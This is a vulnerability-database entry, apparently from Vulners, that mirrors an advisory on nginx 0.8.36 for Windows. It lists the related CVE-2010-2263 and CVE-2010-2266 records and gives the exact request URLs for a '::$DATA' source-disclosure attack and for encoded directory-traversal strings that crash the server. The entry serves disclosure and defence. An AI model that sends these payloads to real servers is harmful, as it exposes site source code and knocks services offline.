Nginx 0.8.36 - Source Disclosure / Denial of Service
| Reporter | Title | Published | Views | Family All 37 |
|---|---|---|---|---|
 | CVE-2010-2263 | 11 Jun 201000:00 | – | circl |
| CVE-2010-2266 | 11 Jun 201000:00 | – | circl |
 | CVE-2010-2263 | 14 Jun 201018:00 | – | cve |
| CVE-2010-2266 | 14 Jun 201018:00 | – | cve |
 | CVE-2010-2263 | 14 Jun 201018:00 | – | cvelist |
| CVE-2010-2266 | 14 Jun 201018:00 | – | cvelist |
 | CVE-2010-2263 | 14 Jun 201018:00 | – | debiancve |
| CVE-2010-2266 | 14 Jun 201018:00 | – | debiancve |
 | Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download | 11 Jun 201000:00 | – | exploitdb |
 | EUVD-2010-2278 | 7 Oct 202500:30 | – | euvd |
10
Issue 1: (Remote Source Disclosure)
- Description -
nginx 0.8.36 is a multi platform HTTP server. This vulnerability exists in the latest Windows version of the application available.
nginx on Windows is vulnerable to a remote source disclosure attack.
- Technical Details - (Source Download)
http://[ webserver IP][:port]index.html::$DATA
Issue 2: (Remote DoS (w/ Memory Corruption))
- Description -
nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables.
- Technical Details - (Remote DoS)
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20
These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Jun 2010 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.71926